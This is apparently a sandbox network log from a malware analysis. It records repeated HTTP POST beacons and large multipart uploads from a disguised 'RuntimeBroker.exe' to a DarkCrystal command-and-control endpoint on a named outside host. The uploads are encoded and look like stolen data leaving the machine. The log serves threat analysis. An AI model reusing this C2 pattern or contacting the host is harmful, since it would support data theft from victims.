Nov 9, 2024 22:22:33.469780922 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2000 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:33.821394920 CET	2000	OUT	Data Raw: 50 51 5c 5a 56 58 5b 53 5d 5d 54 54 54 57 5b 57 56 5c 5f 5d 5b 51 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQ\ZVX[S]]TTTW[WV\_][QZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'% ^)X!>/%<<#<+(+$,'<?_+8&9,?'Y&%[(
Nov 9, 2024 22:22:34.758645058 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:34.806514025 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 01 3f 2a 2a 0d 21 3a 2a 57 2a 21 0b 57 2b 03 26 03 31 33 38 17 2b 2c 3e 05 28 03 30 0e 22 03 04 17 26 3c 2e 06 35 08 3b 03 32 30 2b 5a 01 1c 25 08 28 3e 3c 55 25 38 21 0c 30 34 3a 07 34 2f 3b 5b 24 34 34 02 32 31 21 56 2a 23 0a 53 38 08 2a 02 2b 2e 23 08 25 08 35 0a 37 0f 2a 55 03 12 23 54 2b 2d 3f 1d 32 03 3b 56 28 22 3b 02 22 3e 0d 11 35 38 30 5f 30 3b 3b 59 2f 23 01 01 30 20 37 5e 28 0c 37 5b 37 3c 00 0c 33 2a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: ?*!:W!W+&138+,>(0"&<.5;20+Z%(><U%8!04:4/;[$4421!V#S8+.#%57U#T+-?2;V(";">580_0;;Y/#0 7^(7[7<3*#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:33.592921972 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:33.946351051 CET	2544	OUT	Data Raw: 55 54 59 53 56 59 5b 5c 5d 5d 54 54 54 5c 5b 5a 56 51 5f 5b 5b 52 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTYSVY[\]]TTT\[ZVQ_[[RZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]'B -!>+0[4.(Y*87_0&00? ?8&.^9?'Y&%[(
Nov 9, 2024 22:22:34.508428097 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:34.568953991 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:34.745328903 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:35.102503061 CET	2544	OUT	Data Raw: 50 57 59 52 56 5e 5b 52 5d 5d 54 54 54 56 5b 5a 56 50 5f 5a 5b 57 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PWYRV^[R]]TTTV[ZVP_Z[WZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\025#+)Z".4Y$,7X4*+7$5,$,++;D&.,/'Y&%[($
Nov 9, 2024 22:22:35.660883904 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:35.723702908 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:36.254164934 CET	270	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:36.475873947 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:36.823867083 CET	2544	OUT	Data Raw: 55 52 5c 58 56 5d 5b 54 5d 5d 54 54 54 52 5b 54 56 5f 5f 5c 5b 5d 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UR\XV][T]]TTTR[TV__\[]Z\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!%2%C78-!X8$?/^!.?>+'%#'<)8B1:_,?'Y&%[(
Nov 9, 2024 22:22:37.398165941 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:37.449094057 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:37.449420929 CET	270	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue
Nov 9, 2024 22:22:37.735956907 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:37.736305952 CET	540	OUT	Data Raw: 55 56 5c 59 56 5d 5b 50 5d 5d 54 54 54 52 5b 5a 56 5f 5f 5a 5b 51 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UV\YV][P]]TTTR[ZV__Z[QZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^$T2#6!$X'? #-#=]?Z$%3'<+X(;+B1*]9/'Y&%[(
Nov 9, 2024 22:22:38.082768917 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:38.083493948 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----e9lyAjHEXGlFWrVn1gGsixiurDKRRcgzS2 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 177158 Expect: 100-continue
Nov 9, 2024 22:22:38.369913101 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:38.371685028 CET	16068	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 39 6c 79 41 6a 48 45 58 47 6c 46 57 72 56 6e 31 67 47 73 69 78 69 75 72 44 4b 52 52 63 67 7a 53 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------e9lyAjHEXGlFWrVn1gGsixiurDKRRcgzS2Content-Disposition: form-data; name="0"Content-Type: text/plainPQY[S\[R]]TTT\[ZV]_\[WZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:22:38.376703024 CET	4944	OUT	Data Raw: 5a 30 45 33 56 57 34 32 61 57 35 61 54 32 46 52 4d 45 52 46 53 57 38 35 53 31 68 32 4b 30 35 49 5a 6a 68 68 51 55 56 34 64 30 74 51 63 6c 46 6c 59 55 30 76 56 45 5a 4a 57 57 78 47 54 44 42 77 54 54 42 42 52 6b 45 30 63 46 4a 34 55 31 6c 76 51 56 Data Ascii: Z0E3VW42aW5aT2FRMERFSW85S1h2K05IZjhhQUV4d0tQclFlYU0vVEZJWWxGTDBwTTBBRkE0cFJ4U1lvQVFVZERTNXBBTUNnWVVjNG9GRk1EcjlVUnBOTXVFVVpZcnhWZlU5YnRiM1g1cjY1ampObmE2eWwzR2tGcnMrM3dFNFlTS0ZBWjFBeUMvSkRNQ2VsYWhHUmcwenlveU1HTmNlbUs0TVhnVmlKUmszYTMvQS95UEp3V1l
Nov 9, 2024 22:22:38.376754045 CET	4944	OUT	Data Raw: 53 46 52 70 5a 7a 67 77 52 54 42 58 51 55 51 33 4c 30 46 4c 4d 47 78 4c 5a 6e 64 76 53 58 68 53 57 55 4a 50 64 6e 42 53 4d 6d 39 51 57 47 6f 34 59 55 74 52 65 6e 55 32 53 31 64 70 61 32 5a 4d 51 31 56 56 64 45 5a 42 51 31 56 56 52 32 6c 6e 51 57 Data Ascii: SFRpZzgwRTBXQUQ3L0FLMGxLZndvSXhSWUJPdnBSMm9QWGo4YUtRenU2S1dpa2ZMQ1VVdEZBQ1VVR2lnQW9vb29HRkpTMFVBSlJSUlFNS0tLVVVDRXppaWxvTkFCUlNVVXdGcGR4cHVhS0FIWkI2aWsycWVoeFFLS0FFMkh0elRjVS9KcGQzclJvTzVIaWlwUGxQdFNiUFEwQmNqTkZPS3NPMU5wRENpaWlnQkRSUlJRTUtRMHR
Nov 9, 2024 22:22:38.376810074 CET	4944	OUT	Data Raw: 61 58 51 7a 52 45 74 44 4e 57 4a 4b 57 47 52 72 59 7a 68 42 5a 45 31 6b 59 54 55 72 57 48 63 35 59 6a 4a 32 5a 32 52 30 57 58 56 75 62 56 63 72 5a 53 74 4f 64 45 5a 46 52 30 64 36 51 55 68 4b 53 58 68 75 54 31 46 33 4e 69 74 73 5a 6c 42 53 64 31 Data Ascii: aXQzREtDNWJKWGRrYzhBZE1kYTUrWHc5YjJ2Z2R0WXVubVcrZStOdEZFR0d6QUhKSXhuT1F3NitsZlBSd1dFYjVWSjlPM1g1SDJUeE5kSzdTNi9oOHozUzl4cXZoNjQreHNzZ3U3UnZKYk9BMjVEdFA2aXNUeEpwaDhRV2UxdEZ2WTdwQis2bTNRY2V4L2VjaW42VHE4ZW4rRzlFaWVmVG95ZE9nYkZ6ZWVVMzNCMEcwOGNkZnJ
Nov 9, 2024 22:22:38.376893044 CET	7416	OUT	Data Raw: 53 58 68 58 53 58 42 52 61 46 5a 55 59 57 70 6c 65 6e 51 7a 64 48 41 72 51 58 52 47 54 32 6c 71 62 48 56 4d 59 56 63 31 5a 32 64 75 62 48 51 30 63 79 74 61 54 45 68 46 65 6b 6c 74 51 6d 73 31 53 55 64 43 65 44 59 77 4e 54 64 6c 4e 47 70 7a 62 48 Data Ascii: SXhXSXBRaFZUYWplenQzdHArQXRGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYwNTdlNGpzbHZaTFc1UzBjQXJPOERpTWc5Q0dJeHpYWDdXRjdYUnlLalVhdnl2N2lPaXBqWjNpd1J6bXh1L0psS2lPVDdPKzF5MzNjSEdEblBHT3RWMGNTQ01vcnNKSlBLUXFoTzUrUGxISEo1SEh2VDlyRHVnZEdvdnN2N2gxSlF
Nov 9, 2024 22:22:38.376980066 CET	4944	OUT	Data Raw: 52 46 4e 4c 52 54 63 77 62 6c 56 56 64 6c 4e 72 4e 69 39 56 4d 45 52 52 61 45 68 47 53 56 4a 55 61 69 39 50 61 31 41 32 56 55 52 48 4b 7a 6c 48 59 56 68 47 53 6a 4d 31 62 30 4a 44 53 44 68 78 51 30 31 45 64 6c 49 79 4c 33 64 76 51 58 68 36 55 56 Data Ascii: RFNLRTcwblVVdlNrNi9VMERRaEhGSVJUai9Pa1A2VURHKzlHYVhGSjM1b0JDSDhxQ01EdlIyL3dvQXh6UVVoTzMwcE1jMDdIdlNkVHhRTVE4VVk0bzlhS0FFNjlxUTB2OHFPMk9nb0dKMHBLZFNVREcvclMveW9Jb3BnSjErbEozcGVhS0JpWS9ITkpqMXBmd3BPM2VnQU5KMjlxV2tvR0lhTVVZL0Nsb0dJZVRSMEhGR1BXa3h
Nov 9, 2024 22:22:38.377022028 CET	4944	OUT	Data Raw: 54 6e 4e 58 4d 56 52 56 4e 32 56 35 55 32 56 48 52 6a 55 7a 4d 6b 78 4b 54 56 4e 47 51 6c 42 55 53 6b 46 4b 4e 56 42 49 56 48 5a 58 4d 55 59 30 53 54 46 57 4f 56 67 78 53 46 51 31 53 48 52 76 52 48 41 34 5a 6d 31 55 65 6e 6c 7a 64 32 6c 44 4f 56 Data Ascii: TnNXMVRVN2V5U2VHRjUzMkxKTVNGQlBUSkFKNVBIVHZXMUY0STFWOVgxSFQ1SHRvRHA4Zm1Uenlzd2lDOVFRUUNlUnlPT3hyNGpGNHo2elY5cHkyK1o5aGwxV1dHb3FtbzgydTU5QVZpNnUxaU5VdFYxSjRFdFpMV2VOak93VlNTMFJ4azkrQ2Z3cngvNGNFcjQ5MDRCamcrYURqdVBMYXZYNFBGK2hYSWxNTjl1RVNiMy9BSEx
Nov 9, 2024 22:22:38.381709099 CET	2472	OUT	Data Raw: 4c 31 46 46 63 6e 70 50 61 30 6c 43 4e 6d 6c 31 55 45 68 5a 56 6a 52 74 62 57 39 4b 4d 6a 46 31 5a 57 78 73 62 55 35 71 5a 7a 5a 36 63 56 4e 57 4e 33 45 7a 4e 48 49 76 53 54 6b 34 62 33 4a 33 55 47 46 51 55 57 5a 73 55 6e 52 49 62 31 42 35 63 6e Data Ascii: L1FFcnpPa0lCNml1UEhZVjRtbW9KMjF1ZWxsbU5qZzZ6cVNWN3EzNHIvSTk4b3J3UGFQUWZsUnRIb1B5cnlmN0ZxZnpJOXovV09sL0l6M3l2TWZpSi95TVVQL0FGNkwvd0NodlhJN1I2RDhxWHAwcnB3bVZ6b1ZsVWNyMi95T1RIWjFUeE9IbFJqRnE5dnpUQ2twYUs5aytkRW9wYUtBTjN3WC93QWpkWWZXVC8wVzFldlY0SGp
Nov 9, 2024 22:22:39.225930929 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:39.825639963 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2092 Expect: 100-continue
Nov 9, 2024 22:22:40.112799883 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:40.449189901 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 01 2b 14 0f 13 21 39 22 55 2a 57 25 57 3c 3d 36 00 27 20 30 5e 3c 12 04 06 3c 5b 30 0c 21 2e 2a 5c 33 3c 31 13 22 0f 2b 01 26 30 2b 5a 01 1c 26 19 3c 2e 27 0f 25 06 31 09 27 27 08 06 20 11 28 03 26 1d 3b 1f 25 31 35 53 2a 0a 3f 0d 38 08 39 5d 28 3e 30 19 27 22 2e 55 20 1f 2a 55 03 12 23 19 2a 3d 33 55 32 3d 20 0e 3f 08 3f 03 35 07 2f 59 21 5d 24 5e 24 5e 2b 59 3b 30 33 01 24 0d 3f 58 28 1c 3b 1f 37 3c 00 09 24 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: +!9"UW%W<=6' 0^<<[0!.\3<1"+&0+Z&<.'%1'' (&;%15S?89](>0'".U U#*=3U2= ??5/Y!]$^$^+Y;03$?X(;7<$#P-#H?\V
Nov 9, 2024 22:22:40.449784040 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----209pDRrD0nZucDbA3LEhaxRdEovAqcnN7d User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 215194 Expect: 100-continue
Nov 9, 2024 22:22:40.736170053 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:41.416822910 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:41.779337883 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:42.074934006 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:42.413254023 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:36.480084896 CET	339	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----zDFRlACNbg7T7zxk0ZXAK50qf5aEgaQSXE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2766 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:36.837081909 CET	2766	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 7a 44 46 52 6c 41 43 4e 62 67 37 54 37 7a 78 6b 30 5a 58 41 4b 35 30 71 66 35 61 45 67 61 51 53 58 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------zDFRlACNbg7T7zxk0ZXAK50qf5aEgaQSXEContent-Disposition: form-data; name="0"Content-Type: text/plainU[\ZSX[W]]TTTS[ZV__\[WZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:22:37.438813925 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:37.484452009 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:37.632942915 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:37.980845928 CET	2544	OUT	Data Raw: 55 50 59 58 56 5e 5e 55 5d 5d 54 54 54 54 5b 5b 56 5e 5f 5e 5b 56 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPYXV^^U]]TTTT[[V^_^[VZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]3!B4%Y">$_ (Y*Y$%Y3<0<;'1.)-/'Y&%[(,
Nov 9, 2024 22:22:38.556775093 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:38.620197058 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:38.874471903 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:39.227699041 CET	2544	OUT	Data Raw: 55 56 59 5a 53 5c 5b 55 5d 5d 54 54 54 51 5b 52 56 5b 5f 5a 5b 56 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVYZS\[U]]TTTQ[RV[_Z[VZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'2E7(>!4X', #.Y*];_3$',<+8+%59?'Y&%[(8
Nov 9, 2024 22:22:39.814095974 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:39.863388062 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:40.087050915 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
